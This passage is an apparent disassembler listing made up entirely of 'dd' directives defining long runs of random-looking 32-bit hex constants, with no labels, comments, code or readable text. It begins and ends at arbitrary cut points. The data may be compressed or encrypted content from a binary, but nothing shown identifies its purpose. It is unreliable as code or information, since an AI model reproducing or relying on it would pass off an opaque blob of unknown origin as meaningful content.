5525A52h dd 274A77F7h, 35909200h, 1301739Ah, 49B5E9EBh, 715D50E8h dd 0FDE950CBh, 625BA7F7h, 0FADB7037h, 6E5B810Fh, 0ECFD4A8h dd 5685616h, 0BB7F7088h, 35B25077h, 0FF2B5F9Bh, 0A08AF9D8h dd 2D49BF40h, 0AC563431h, 0E12F295Dh, 0E90B0091h, 7BE1664Fh dd 6E4F9ADh, 0A791EE35h, 96245E9Dh, 93BC0455h, 7D8749D8h dd 7BFE90CCh, 5443E2B7h, 0D17F5AC5h, 59CC7FAh, 0ED5DC1D6h dd 0FC0DA09Ah, 1BADD40h, 565C3E1Fh, 6B42D2F7h, 0DAA41CC4h dd 4D6F1865h, 0CCA40C60h, 0E2B25B2Fh, 0DCA3043Ch, 871308FCh dd 28D9BFDDh, 293BE42Bh, 0C1BBB688h, 3032B22Ch, 0DA3D6AFAh dd 0F483B43Eh, 872F3749h, 6D511443h, 0A7ACBE9h, 1CCC52A3h dd 453C00AFh, 1D2D4FBAh, 1EFEA548h, 3E9833C9h, 2D79A30Ch dd 0EBA82B49h, 130C3408h, 1E76F414h, 0ADE2905Eh, 51156809h dd 0D5524CFEh, 0E9185A1Eh, 860B4BFBh, 9D0BBA61h, 3BF2090Bh dd 0CE2F5A7Eh, 53B057A0h, 70B65FFEh, 0A7685780h, 0BF4CE708h dd 9496FD1h, 0B355ABBh, 29E2A7Ch, 344BE6D7h, 0AB57389Bh dd 0A66B92A8h, 0B5D83EF5h, 2666E274h, 3C2B1C1h, 42853418h dd 22BB98E9h, 0C45024A5h, 0E94C6B10h, 9B459F18h, 3C2C26A8h dd 150ECE35h, 9AFA1263h, 61274877h, 9FE3E9B5h, 0F0310A8Bh dd 5AA8297Fh, 0E4F95BC1h, 2305EBBAh, 317C6195h, 27E9EDC8h dd 0D952741Ah, 4DF44EF0h, 88A6815h, 0A8904136h, 4D35F247h dd 0AEE20C92h, 29B0D817h, 21EB2F88h, 0AF5E14A2h, 61C84706h dd 66630F68h, 25DD04E7h, 71EC1E8Eh, 7464F01Ah, 517CA1CCh dd 1E9E7520h, 5E4F13BFh, 0A36C8B46h, 0FCF5BADFh, 17BD4806h dd 228E18h, 6414D8C3h, 70F7E975h, 22F6BD09h, 0FF425C51h dd 8B1DC58Ch, 5D14F0CCh, 6A4CE6F6h, 0C821C44Ah, 0C16760AFh dd 317C0CE8h, 0E6C2E913h, 0FDCCCCBEh, 52BAC5Dh, 1577464Eh dd 0FC17D894h, 2F3C7EF6h, 0D39F8C5Eh, 0D10CFADFh, 2F68545Fh dd 2FBB1463h, 6833FDD9h, 4464C592h, 0FC1B2E6h, 929F07Eh dd 0C486CF1h, 9F5CBD8Bh, 0BC4CE958h, 68661264h, 0B34E90Eh dd 17BE25AAh, 0C70FA448h, 75708E09h, 9A07047Eh, 3929EA13h dd 0C1E777F8h, 4E5EC533h, 0C8C03F97h, 8533BCh, 93B9513Ch dd 0E902266Dh, 3F2BB20h, 14F4BA52h, 57D915AEh, 2FFC3E97h dd 585BBEB0h, 124A4948h, 0DB65B136h, 0C771621Ch, 8E290D53h dd 4941051Eh, 2CC4BD54h, 0CE57B902h, 5D3114FDh, 75245BFBh dd 97F44E27h, 96854187h, 530246D9h, 74679668h, 2FEE446Bh dd 9CD78336h, 0DBAD2733h, 984AF21Ah, 4E7309F6h, 4817EA4Fh dd 91D6DA8Ah, 1DE772Eh, 23AF3868h, 13DDA803h, 0FA0162E0h dd 0C5B85000h, 57DD512h, 5C2AF418h, 6C2FC6E5h, 334D1E46h dd 0A3BC4BE2h, 5780AD59h, 80126EBFh, 30BC294Bh, 59CB2109h dd 7C847A81h, 0C04F3F8h, 2C587491h, 0FDA33080h, 0C1523E1Bh dd 0E8E90604h, 0CBACF871h, 1614EE56h, 9D6418E9h, 8D347BC8h dd 0D15E18E8h, 10B0BDD1h, 0A7C45F2h, 0D60954B7h, 0E3F60781h dd 0E81BF67Fh, 5D287564h, 94E3EFh, 9F6FF6BDh, 0ACD8146h dd 6CB15D51h, 74F502BDh, 0C2555837h, 2ECF4193h, 0ED06BB72h dd 0C4A7635h, 29D1A09Fh, 0CB6FE9EBh, 327489B5h, 0F4BB5358h dd 16FE043Eh, 0F93AB0E9h, 29ECD343h, 2D352F09h, 82835857h dd 52C56C08h, 7C88BFh, 3513724Eh, 0B71BEB05h, 0EFA8124Bh dd 81F20741h, 0AE80E911h, 79BDF33Fh, 0A0BEDA25h, 8D32396h dd 0EE294AA8h, 61CE2CD7h, 72D90320h, 942AA33Fh, 702D7836h dd 8644007Dh, 9D302356h, 8826672h, 82A94CD7h, 8542F519h dd 0C35E4352h, 0F8210D07h, 2C01F2B9h, 6B782DF3h, 2C27734Ch dd 6B20D7EEh, 88DF181h, 0C38A130h, 61A4CA09h, 85E98C01h dd 1CC7398Fh, 0DD2778D8h, 229748B6h, 5E39EA1Ah, 4509613Eh dd 7F2D704Dh, 760DEB4Dh, 7C88295Bh, 730B1676h, 5A0ACA27h dd 12C13C98h, 9C0C8758h, 0B3409BA9h, 2B3CEB68h, 14F1377Ah dd 4026B243h, 8700E055h, 0C1BABDA2h, 976ECCD7h, 0C1CEBA5Dh dd 89255990h, 3C31282Bh, 65EE674Fh, 0DB10EE45h, 3AA59255h dd 4989A33Ah, 0D41E1062h, 2B406625h, 0B8EC5051h, 367DE736h dd 0E11CC7F4h, 0D9F7C302h dd 0BAD607FDh, 0C631C40Fh, 0C318122Bh, 0EB0A6D17h, 3A5B7EB8h dd 0E915D809h, 474AE4B3h, 37E4C05Dh, 334D6780h, 0EF857AEBh dd 0FE65DB1Dh, 9AF72776h, 81A2D4D3h, 0C034BEB9h, 60107133h dd 2590E80Dh, 0E907E005h, 89E882E7h, 0CB4273C1h, 488B3676h dd 0CE597585h, 845F8926h, 90A3904h, 5BC90B3Ah, 623CC677h dd 0C62913C0h, 479FBF40h, 2212432Dh, 39B4C81h, 8CB14DBDh dd 20453159h, 6B135286h, 0A7E43190h, 2A302C9Ah, 98F101B9h dd 617E431Bh, 0C9DF4082h, 1A6D0B49h, 0A6385C72h, 8BF6882h dd 9692F471h, 5D616AFh, 0B9574502h, 0BD661C76h, 5E2F725Dh dd 0AC480AFCh, 6DF21FE5h, 0B8701622h, 0C4CF2079h, 80A5718Fh dd 58B774D8h, 8427CE13h, 6EA7D48h, 0D53B4CBh, 8172857h dd 605F5DE2h, 14894F1h, 16B98C66h, 2FAEFBFCh, 0DF057CF1h dd 8B53A2EBh, 0E6A377DDh, 820085ADh, 8D1FBC25h, 24E0D132h dd 734840h, 7D8C5A4Fh, 114E89E9h, 0BC5B578Eh, 0B2E98419h dd 4BCF2094h, 0B1B1A44Eh, 25E9283Ch, 4B12D962h, 20C1E477h dd 0B7EA5ABCh, 16BC6EEBh, 0D7D01CCBh, 0E9613DB6h, 1058571h dd 3F736F06h, 54833F45h, 95A87329h, 7504DCD8h, 5A46071Fh dd 0A69698FBh, 0BBF2F40h, 141242ACh, 0DA8D686h, 0E961FB94h dd 94A5BA74h, 7C23C47Dh, 0B5147456h, 68E185FCh, 0F4384986h dd 3634CDC0h, 0D162BB25h, 0FCDDE90Bh, 0EBBA00E7h, 0B8277B2Bh dd 0FBAB6F0Bh, 883D687h, 0FCA5C601h, 0FA5F45CEh, 0BF4A7DCBh dd 0A018DD92h, 0A0F7819Fh, 0E7372EF5h, 0E183BC55h, 75F177EAh dd 4F300C04h, 0ADBA2023h, 0FAA85E90h, 0E8CACE17h, 1EBC2A9h dd 0CCB38043h, 182DF07Ah, 321B62E9h, 0E83C6866h, 0A6039238h dd 693D76F9h, 0FDF72A41h, 0BC99885Eh, 524C9492h, 6BA2864h dd 55899D20h, 0C2FDE55Dh, 54281B38h, 6BD720DAh, 0BBF1801Fh dd 76830ACBh, 59D18C51h, 0D497052Ah, 13163DE1h, 0A993EF6Ah dd 0DB23488Ah, 0FDB35380h, 5B5AD988h, 0F119ACA9h, 0E0080C9Fh dd 0B5963B92h, 0A26F0D51h, 0E5AB18FCh, 25FD8952h, 227F2D5Fh dd 57748763h, 7878177Ch, 0CC6880FEh, 4FD32A19h, 0DDEBBFFCh dd 8C48A7FFh, 0B66CEC5Ah, 8158450Dh, 58F79BDh, 0E37F40FEh dd 0BA51AD4h, 61984C3h, 0D5BAB4DFh, 0C6AB818Eh, 0C7E305Dh dd 0C34BEBB7h, 64446296h, 3000997Eh, 720459CEh, 28DD0E02h dd 66832CF0h, 0E9D1B551h, 0FDA9D2BEh, 6D60A380h, 0F7F81AA6h dd 22EF714Ah, 9BD84008h, 1835BA04h, 0C7EA04F1h, 0D2B4D2DBh dd 2C76737Fh, 96AC092Ch, 0FE90267Bh, 40717550h, 0BE0556A3h dd 102A0C1Fh, 3134C7AAh, 42BA52E8h, 0A743010Bh, 6C2D6A12h dd 0B35F24B7h, 4C581Ah, 4A4239A1h, 4F3DDB05h, 24D6E07Ah dd 0C14ED99Fh, 22575868h, 0F370330Dh, 0F8B8BAE7h, 0CBB8D3BFh dd 5BDC4FFFh, 0B7799D56h, 6844E9C1h, 1888F37Bh, 212340BBh dd 0DECDD0D9h, 4039F524h, 6D0903A8h, 4C0183A0h, 29121F16h dd 5C6B41EFh, 6143A6A4h, 0F1F27BB8h, 72E1022Dh, 49E62F31h dd 0F4E5C114h, 74979C18h, 0C718805Ch, 16E62890h, 0B76880D6h dd 71BD574Fh, 3B060894h, 96125F77h, 0B0019401h, 60C8E966h dd 68BE34h, 31342B10h, 0C2835FFAh, 11B014Ch, 7CCF1FB4h dd 5730E9D1h, 4EA7F69Eh, 0C0CEB103h, 0F5B04DA1h, 0D6397F05h dd 3E830929h, 0C73C0553h, 0C8613C76h, 0C302670Dh, 20E9D0A0h dd 89627C9Dh, 7627F60Bh, 0EA83125Dh, 61C29E80h, 0C051FA2Dh dd 852C6E98h, 0C7A244EBh, 46058204h, 0A3BE5928h, 88648533h dd 574C9F05h, 0F2692CB7h, 9F899CFFh, 0E12DC1FBh, 0DB29DB4Ah dd 360B4525h, 0E985F17Bh, 0D50A449h, 0A66409FEh, 75447869h dd 0CC1D18F2h, 2AC21173h, 60611970h, 0ED72A30Ch, 37E2C03Fh dd 25F55805h, 0B2B6CD1h, 524C7DE9h, 5F6C1E53h, 0F0214F13h dd 0FCA0D9A4h, 4C82E424h, 7875097Ah, 0BE28F20Eh, 0D8E3943Ch dd 0B62A4307h, 9B80D26Dh, 9F502CC4h, 81ED10D3h, 0B391EB5Bh dd 0E3A4BDEh, 2D6029B2h, 498515Fh, 254CD8EBh, 0DE9505F6h dd 1893398Eh, 3C2CA66Dh, 4AC5AEDFh, 0DF408709h, 5B5F0FB2h dd 0B0E98661h, 511280F8h, 27B87668h, 0DE25CBD0h, 7DA5B67Ch dd 0C1F36A33h, 96F0E8CCh, 0AF10D6B8h, 0EEB50B16h, 0AB82DF80h dd 0AC59852Dh, 4C8EB16h, 5E6740CEh, 52ED535Fh, 85BC34Ah dd 5862E2B2h, 1B90B281h, 2AE2FA8Ah, 0B455972Bh, 25E2B63Ah dd 80FAE5FDh, 5840F609h, 0C0606EE9h, 0D047B248h, 7602B7EAh dd 5804156Bh, 2DC92CABh, 82347C6Eh, 0F7A269CFh, 0E12070EEh dd 0D3B804FEh, 0FF013B19h, 5D420FB5h, 546B0E53h, 9D136655h dd 6C2232CFh, 53E9540Bh, 246DF561h, 3D558908h, 959F79D8h dd 734CBF7Eh, 0C03D5Bh, 8875B7B4h, 805BFC07h, 0C430DDECh dd 590CE96Ch, 1E076C31h, 0A2279502h, 73D79AFEh, 2CD20C11h dd 0A3BCC787h, 452DD427h, 4217B15Ah, 0F50BA338h, 0DA4AA80Eh dd 24D9AFE8h, 9AB0908h, 2C84F186h, 76B6006Bh, 0B559EE30h dd 501D1FD8h, 0DC4AAFB4h, 333DD6C0h, 1CFFB2D4h, 511F40Bh dd 0E8CAE9E6h, 0D0F712FBh, 0AA4FED01h, 6A908A8Eh, 0D7502DF4h dd 21F999BBh, 0C3447A77h, 0CCBE7244h, 0CB6930B3h, 9D18D22Eh dd 0E9044D65h, 38ED3B62h, 0B2E4302Ah, 0DC681201h, 13CACC5Eh dd 1AAB4249h, 505AAD7Ch, 34D6977Ah, 0D3645772h, 4C3A681Eh dd 88E94B30h, 0BA40C354h, 0B82D9A3h, 5F7F70DDh, 0C9E561F8h dd 1B85040Dh, 7BB3C002h, 5938540h, 2FB8724h, 0A1BB62ECh dd 0DD252FF6h, 0E581C029h, 0D1A009AAh, 301A8901h, 638EE8BDh dd 7D161613h, 8525029h, 31B1394Ch, 80CF60CBh, 575380h dd 9C35DBBFh, 0BACF8104h, 15374512h, 0EF541CFAh, 470848C0h dd 87C713C0h, 0B72FFC1Bh, 4B7ADF78h, 962CB01h, 0C3E91F63h dd 0F22BD035h, 202DD289h, 188CF66Fh, 0F3D37C78h, 0FC1309A7h dd 0CC21434Dh, 6A5F0F88h, 0A0BEC3C4h, 2613E11Fh, 0AD04237Fh dd 800FD0F2h, 0F16001CEh, 66D9F613h, 28EC5E90h, 64E0E148h dd 0ADAAAA1Ah, 20864C1Ah, 6E6812F4h, 0EF143430h, 127537E2h dd 43ADE90Bh, 282F0544h, 5ED112F3h, 1C56266Bh, 0D62F4385h dd 7164CF4Fh, 2CDDAB7Eh, 6DB0D4EFh, 0EF81024Fh, 5E98AD3Bh dd 0C405ACA0h, 4DB1170Fh, 20F10720h, 0F74D9C91h, 3FDA507Fh dd 1B053002h, 60CFC0B3h, 2F26F5FBh, 3554508Ch, 585B08A0h dd 0ED3F6CD9h, 99EFE490h, 0DB5F3CE6h, 98128018h, 0F9012836h dd 0AA0883C8h, 5F74C9D0h, 966BF7ECh, 3D358BC9h, 5569C5F6h dd 82E98E51h, 827CD288h, 0B5CDE06h, 94F67200h, 27602862h dd 9E69160Ch, 0F1E9160Eh, 5591F4CAh, 6198F49Fh, 4C3FA068h dd 0C55888EFh, 19442DC2h, 6780DFB4h, 4002E0C1h, 45241A05h dd 0C602AD97h, 48D52AE9h, 95260B16h, 0F7253167h, 72900716h dd 0DB1BDA2Fh, 7AE40BD3h, 6DF79B30h, 11AD3BE1h, 0A2E2FBB4h dd 89366196h, 487938E9h, 601F5E0Ch, 0FA29B5C2h, 4405D7Bh dd 0CD1A8145h, 606A3A7Ah, 0F82B70FBh, 1FE9185Ch, 76B8347Dh dd 340F82F0h, 6BA38E05h, 5FED89CBh, 2A2A0743h, 4A29875Bh dd 0FAACA46Ah, 630B6F81h, 2445E9h, 32015858h, 0FAF51617h dd 3FD00866h, 6D27C9B4h, 3E57D441h, 0D45004E7h, 0A1EB568h dd 0D67F0C2Dh, 0A500C98Ah, 2E3F7E07h, 1E2050B7h, 52FC0AEEh dd 98D9AE5Ch, 80DEF530h, 3B7B35B8h, 142D2B07h, 11EB33B7h dd 0F2E28B51h, 12045F4Ch dd 3FB3FABBh, 0EFAE04A4h, 20500998h, 0E80F450Fh, 0D8FB9777h dd 0D0422C45h, 0D5BD23FCh, 6AECA4C0h, 0C5F1430h, 4C2D077Bh dd 0C300C36Dh, 0C14B9D4Ch, 0C89503E3h, 4D77FEFh, 0E7E94544h dd 0FA5E0B01h, 2D54203Fh, 8045B20Fh, 0D330A5C2h, 11A0C2BFh dd 0FD28097Dh, 232B8E8Bh, 60709158h, 29A60D0Fh, 634EE6DDh dd 9D0BB71Eh, 52E6EAFFh, 20A508B6h, 3E0E53D0h, 18FDCC11h dd 7C5E3974h, 7CD9F71Fh, 0D0490712h, 7B26FCB2h, 0F1092976h dd 808340FEh, 491BED45h, 10E1636h, 0A1FA13CDh, 92407294h dd 5EE8F1B4h, 0D3E5ADBCh, 0A91258E6h, 0D4C6BD30h, 695607BCh dd 0F2C31820h, 130D5954h, 24E3E90Bh, 92685CD4h, 928EB90Bh dd 0A33B43AEh, 0FA31B25Dh, 0C5524477h, 0DCAB584Bh, 4826E987h dd 0F4A70E18h, 0F9A18B59h, 55B49A5Dh, 0A65CBFABh, 4E03042h dd 0D5D8FA5Eh, 7D1509EEh, 0F27E32E2h, 529708A0h, 0E3F3B503h dd 1B62D649h, 0EF8D59C7h, 25E9E53Ch, 9F531C68h, 0A895F727h dd 46A25C98h, 33E82F25h, 880FA7Ah, 7B5A94E9h, 0CF583CBAh dd 0B0404F41h, 5BD83C76h, 56BF52Eh, 54D70408h, 5AAC13BFh dd 8EE6FEA5h, 0AE53A634h, 8BD010h, 81FCDC80h, 254C25EAh dd 887F6E1Fh, 5812088Bh, 27D7CBBFh, 842AE501h, 0B3315268h dd 948A126Fh, 0C7359390h, 618355Eh, 0F66A040Fh, 0D2F4AF39h dd 0FF5D4B5Ch, 6475E771h, 0AA3A7A35h, 18F69400h, 90452BC9h dd 38D70672h, 210963D1h, 37B2F500h, 66E91C31h, 98CAB286h dd 1094382h, 230CDCBBh, 0CBF95618h, 3090CCE6h, 0DA75D846h dd 730ABE5Bh, 0E1D2BBB3h, 0E6330D02h, 7FCA7F46h, 0C25A0804h dd 35F15EFCh, 0B3F976Ah, 0FE4E7068h, 0FA86C9B3h, 5948F19Dh dd 1AD304C9h, 0B0011CB5h, 0D83C4047h, 42260DCAh, 0C201A927h dd 3DD0B58Ah, 0C167B02Eh, 4105EB2Eh, 0CFA05B2Ch, 135A5BB5h dd 0A0152153h, 0E4CA683Ch, 6788C9ECh, 275E520Dh, 0B11243E8h dd 3552FEFh, 7D8F6B1h, 20540404h, 0D124EFC1h, 0B4199852h dd 3980CE3Ch, 7AC48497h, 1AB818E9h, 0F3003A58h, 2D5A5E17h dd 0EE01C350h, 26D80D23h, 8560357Ah, 8441B5h, 5673B8Bh dd 7D850350h, 557B2D13h, 2F62C208h, 16828076h, 7F0FDB6Dh dd 0C5E9AF01h, 0B2446B6Eh, 5709663Ah, 2E4A3200h, 0ADB8414Ch dd 8254E40Bh, 0C6A0206Ch, 4BFB1455h, 4D0AB15h, 0B420644h dd 7D05E9DEh, 0F680F327h, 341806D5h, 0D10ACFFEh, 5BFD0130h dd 0FAE95066h, 43A33A0Dh, 0E2CF2985h, 0DF004EEBh, 2A7545BDh dd 0B32BE90Dh, 279C483Ah, 4FA25E5Dh, 0C1B1B2F7h, 1D781E29h dd 0BA1CC52Fh, 98003B13h, 0E972A657h, 0BC9AC7h, 0C05051BAh dd 241BD12h, 0E21A4D2Dh, 1015FEBh, 2B096853h, 57C4B2B8h dd 0B146C8BBh, 39AE583Eh, 463BA768h, 9AD816B4h, 901C5270h dd 0CCF2C170h, 890D170Bh, 3D6D77C8h, 3394DFA5h, 0EE4E7997h dd 0D6ACC26Eh, 5603E6Eh, 1F2FC641h, 46C9027h, 0FD4F5DEEh dd 65E7C77Ch, 7C43FC70h, 35C3D0Bh, 0A1A127Eh, 80166E08h dd 5B0347A3h, 0D7F7FE87h, 3B480860h, 0B813B052h, 0CF5441EFh dd 2AC2D5B1h, 129E6089h, 4158A0ECh, 3AB42F20h, 3DFB82D4h dd 4E2ED5F3h, 0B08423EFh, 0E8A0FB46h, 0D6216AA3h, 40E10151h dd 40102824h, 0EBA4ED92h, 4EE9483Eh, 0F2BBC184h, 490A489h dd 2F5B2005h, 6CC422Eh, 92697222h, 6A920B8Eh, 7D892CFBh dd 5FBCC540h, 0AA6C0480h, 6FA381DEh, 98828701h, 78FE95C6h dd 0F464E2F7h, 0EA80073Ch, 0D43B8411h, 0AE2FBEC3h, 4CD0004Fh dd 0E915616Dh, 35CCB44Eh, 2BA63D2Dh, 0D0014B05h, 5A070905h dd 79CC0257h, 492D0080h, 1B5053F9h, 5A5A58F5h, 12D149Ah dd 4C137622h, 0D8626802h, 6B5FF453h, 67FF145Ch, 0EE1009F3h dd 459DB57h, 0F91C4721h, 4BE584F8h, 0AC678CFBh, 317430C5h dd 431661BDh, 0C07D247Ch, 0B25CBFF5h, 685E2805h, 32EB3819h dd 0A9F27EC9h, 9CF2C307h, 2B4FEEAh, 0BE4E2CA8h, 965F0528h dd 0AA31121Fh, 0A043E4D1h, 0A01DFD6Ah, 245BFABFh, 800B3Fh dd 2E387AB7h, 3BEF4FE9h, 0FE4B38E3h, 91EE1813h, 808FE910h dd 73EB8149h, 0EC3E0C49h, 1F21EAF3h, 25D17DB6h, 12D295Fh dd 1C20AF90h, 0E8C19D70h, 0D4295C54h, 0A109A82Fh, 2CE1B102h dd 53F80740h, 0DD2FB725h, 319D8041h, 32C7C9C2h, 265F32C6h dd 52C9D65Bh, 0C05EC7F8h, 2FBB29AFh, 98C28AFh, 0B3BBDCA8h dd 3CBD6704h, 0C4BEDBF7h, 8C4EC49Bh, 8909DAD6h, 5DB1E9D3h dd 3E9E308Bh, 0ADABEFB7h, 57A2A457h, 44C4BC2h, 85B9C0BEh dd 3CF6465Dh, 8710DC97h, 0B9360A91h, 28D89C00h, 71E54A09h dd 4BB17A5Eh, 485E2CE4h, 855B7094h, 0B4CFEBDEh, 3FFE6809h dd 0EB73D6C6h, 0B24B186h, 8E710C74h, 0F8416702h, 82A4502Dh dd 68BD2107h, 5D26557Ch, 3EA86310h, 2DA0525Ch, 4E106108h dd 8C9AC43Fh, 5B606A94h, 0B850F12h, 0B05F9560h, 0B695E983h dd 665707AAh, 0A206C7BFh, 0A477BC0Fh, 0A680086Ah, 9DF6568Ah dd 680CACF0h, 1864797Fh, 0E7511FFBh, 6DE50261h, 0BCD00632h dd 64409E6Ah, 2CF1D313h, 0BF2B9A0Dh, 0D817F02Fh, 8546E2B3h dd 27BBF303h, 5C1182D6h, 320C6655h, 0D3101FE5h, 497F610Bh dd 0A44632A7h, 8ED9682Ah, 0D0B4F49Dh, 50A02CD6h, 0E6120913h dd 5F524304h, 0EAE4ED05h, 909F7FEh, 0D410E268h, 4C84D248h dd 247CC9FAh, 735E2226h, 0BEA7C0CCh, 0DFF70913h, 4E505Dh dd 0F5472786h, 2D5FF809h, 37011CF0h, 0E9C10148h, 0FF2EF75Eh dd 997E4C2Dh, 31AE3B9Fh, 32BA4356h, 66270785h, 5CB32022h dd 0F3EA8486h, 0D9EFD7FCh, 8808A0A4h, 0C0C58C4Eh, 0CB37E6BBh dd 50ED05EEh, 946202C8h, 83B83435h, 1A00877Dh, 0A6231BBFh dd 1FC7816Fh, 0DB88E5CFh, 8AA1FC01h, 0BF34801Eh, 3F6530A0h dd 99E49F89h, 7B3461B7h, 0B7D8A86Bh, 91668F5h, 40115EF0h dd 6B904D6Ah, 68E10E0Fh, 5673869Fh, 8E6CB618h, 0BE9DEA0Ah dd 40FDAAF6h, 2D53CDEDh, 82D535F1h, 6662F792h, 9FA4F014h dd 38F6903h, 3F0E3AF9h, 924A2841h, 492A4C1Eh, 0D7C1984Ah dd 804A9C30h, 0CA3FF3FCh, 2B401738h, 52DE21ACh, 541A4752h dd 0B66D725Bh, 974E14F7h, 0B32C88DEh, 0C04555A7h, 46FE983Fh dd 0BC55580Eh, 0A87EC2B7h, 1C566801h, 0C8CF907Ch, 59424BDEh dd 8D45827Dh, 750ABCh, 603D4FC7h, 6828FD5Dh, 0FA78270Ah dd 0B928C382h, 0F81AAD2h, 2F61CE81h, 2C852B7Ah, 102F76E5h dd 0BF16941Dh, 20DAF605h, 0E54DFDEDh, 18EA4881h, 39608E3Dh dd 20841C7h, 135C14F2h, 0F7CB7F4Bh, 3ABAADE9h, 0A4E31C31h dd 0CBCA119Fh, 4E5F9FF9h, 532DC936h, 18ABE2A0h, 0B6A127E0h dd 25122AAAh, 0F21F3AFh, 0E405B450h, 8BDA6C6h, 35F0310h dd 20478F58h, 94065F81h, 6EE6FAD6h, 0C66C7715h, 8C2C4313h dd 1E0390C7h, 0D4E9411Bh, 2E2510DDh, 0C32F7A2Fh, 4EAE224Ah dd 93A965B1h, 47085ED0h, 3BC70858h, 0EFC00D80h, 52076603h dd 0D7287CB2h, 0D22C5A61h, 107019C9h, 0C4CBE904h, 52C0BBACh dd 0CE80B2B6h, 0C6304573h, 0E9440619h, 4E65B239h, 96B8E756h dd 60FC8AB4h, 0B0EBADEAh, 0C9A2AB3Fh, 0C82037D0h, 9476BD51h dd 0A70F191Eh, 4BCBA474h, 493E3A3h, 0B7D1529h, 0FF108B5Dh dd 65B33FA5h, 0E9B3D0A9h, 4FC003C9h, 5B2035EEh, 209A9206h dd 0EC808BC4h, 6070B195h, 22FFE148h, 0F524B5AEh, 4E26FC2Bh dd 1915AA8Ah, 7612C178h dd 0C5324746h, 0BC91D502h, 28BE4BECh, 6F604C61h, 3BBCB90Ah dd 512E329Bh, 3472FE32h, 56C1350Fh, 0E29969A6h, 65EDFF19h dd 85D1E905h, 0AB45C91h, 1DCBF66Bh, 26941DE5h, 31EE0BA8h dd 0EA8005D0h, 28E114C1h, 7CB9E22Eh, 7E27F2B6h, 1657E9ADh dd 0E6C06275h, 11C687D6h, 57516812h, 948F336h, 47093E1Ah dd 0EC73308Fh, 48ABC6BFh, 15F136Eh, 175B01D3h, 0F97C4A72h dd 513A7C64h, 38BE2B0Dh, 655E7A16h, 0FA2E32AAh, 27FD36Ah dd 923516h, 0C4C2C6B8h, 8D31F524h, 9F9010Bh, 0D00E0B30h dd 0D359144Eh, 8F20E2E0h, 3E196816h, 1FD3FF37h, 881A34CEh dd 51C2AA42h, 3C565752h, 6905FE12h, 0CBAE9CE2h, 17AB4C8Eh dd 0DCA57E28h, 0F2F8D63Eh, 0A32D2CEEh, 8B805D14h, 983DD1C3h dd 448A2D51h, 1C081A9Ch, 0C9D01709h, 9AA693B5h, 0C15504E8h dd 3E967211h, 0FDEE2224h, 7271275Ah, 452025AFh, 0B024C55h dd 44396EC1h, 0E90A46AFh, 30892808h, 0DA33E4D1h, 4916D44Ch dd 7713C701h, 0EE80FBF0h, 80989B95h, 0EF30BBB5h, 7E5E51E9h dd 499F1375h, 9E1BE90Dh, 5404272h, 97E07855h, 0E91734F2h dd 98BF616Ch, 0D4910178h, 4DF7E601h, 74821A25h, 193F094Eh dd 0EB2987DDh, 0D8280058h, 8368FE04h, 7D9D4970h, 0B4028B1Eh dd 30B6B75Ah, 566B62E7h, 0CE562DABh, 9AF2E978h, 0B70F1E46h dd 58470BC0h, 4668FC29h, 5F80B81Bh, 4658BF5Dh, 2B9A257Eh dd 0E809EF98h, 5749B129h, 32FDCA68h, 8B80B262h, 0E408049Bh dd 444038DBh, 348D0BB8h, 0ADF7DEDh, 0EA1707BEh, 9766BFA0h dd 8D4DA004h, 4D007AD0h, 0BA64D007h, 5E64B81Bh, 0C12C817Ch dd 0B7760E2h, 0D5A662B5h, 43CBD433h, 89EEC171h, 0BF0279B4h dd 0E0E57301h, 4D8EFF8h, 0E93BB536h, 3481F554h, 425B70D7h dd 75EE6092h, 505E5950h, 41436DEEh, 6BADC7F1h, 0A51538ADh dd 0B731B922h, 20DE8991h, 693168B0h, 6E6D1D1Bh, 0ADD3AB68h dd 0EA942426h, 2F0BC4A8h, 7D4A7D60h, 0F2A3006h, 0BD66D09Fh dd 7595219Ch, 3E053E99h, 0B24002A8h, 274C9B52h, 59B8AC68h dd 2110562Eh, 9D72F827h, 4A0553Ch, 190E72EDh, 40202510h dd 0D8F730B9h, 0F9DDA040h, 6D6E2503h, 32052680h, 2E5C3B54h dd 0C6942FCCh, 0EC254D4Eh, 5EAAA140h, 0C925B33Fh, 160507Ch dd 20FA6851h, 0F1591F39h, 40B7AF1h, 9FEBF591h, 7BF3C2B7h dd 0DE255771h, 55581657h, 0AB921881h, 0E9099DE2h, 71776978h dd 19C56AA4h, 2B8D8D62h, 2F7BABCAh, 26CA2F24h, 1C311360h dd 170C2158h, 71D82A68h, 8F30019Ah, 2E3C177h, 0D1C0704Bh dd 0B5476CB7h, 2BD00FE3h, 12C6BF2h, 0DE045AEBh, 5D814B20h dd 0B26E8B21h, 6A13D2B5h, 0D12DBDF9h, 844F8974h, 23EA3583h dd 2F2D87EAh, 0DF576ACCh, 134B2702h, 0E97957ECh, 0DF18BB5Ch dd 0F914DD2Dh, 5968570Bh, 0E4F35929h, 0C2DBB25Fh, 0C0C126B4h dd 80452AC1h, 5A1DF488h, 4467CCFEh, 9DF37398h, 0E213A4F8h dd 0E728C828h, 2AC39FF4h, 1EE953C8h, 0DD9D4770h, 4E31C718h dd 0F2EEED86h, 0C7A3A1F7h, 5E37923Ah, 5A18317Dh, 7032FA2Eh dd 251A7E56h, 0FC40ABFCh, 9F3CA211h, 0D0856189h, 3A9CAA2Eh dd 0FD5E27E9h, 282D0D48h, 0C375D375h, 19697DFAh, 0DDDE80AFh dd 76245C8Ah, 86C6F02h, 0E827598Bh, 5BFAA3EFh, 0F1A8265Fh dd 0EBD5F616h, 2C050556h, 0F3BED9F1h, 0FE297A75h, 71A5DF94h dd 0A3923EBAh, 0AFF65657h, 65F2DA71h, 56D8737Fh, 6C53BDE1h dd 0DFBF97A8h, 7C581A3Ch, 0C22E5519h, 0E568DAA9h, 2C2D1BE6h dd 1F97893h, 341CB4DCh, 7575E7E9h, 6E3F4149h, 0C306075Eh dd 15D69573h, 697EC454h, 2795E3CBh, 0FD5C7070h, 1A128A67h dd 869B9167h, 5C96294Eh, 78960778h, 0FBE277FCh, 1D6802D4h dd 60ED765Fh, 0F2B83599h, 8BD829BDh, 3CB4FD8Dh, 746E74BFh dd 6ADD20E7h, 457A6F64h, 0DE418382h, 2368E1C5h, 0A4CFB866h dd 0F28E35B0h, 4AF07695h, 37D35A0Dh, 0EED92501h, 2DB9FD31h dd 9D69068h, 534043ADh, 0FA78895Fh, 0F7C49175h, 4BB5AD7h dd 0F49A786Fh, 12093155h, 0D2532E03h, 17E10B2Fh, 1C5C2C8Fh dd 2BE65525h, 2A99544Bh, 254FB600h, 0C1D6FA2h, 387124A2h dd 191E72C0h, 0F3D1A2Fh, 6808D4BFh, 602D141Ch, 5215495h dd 67E95703h, 0E831AB3Ch, 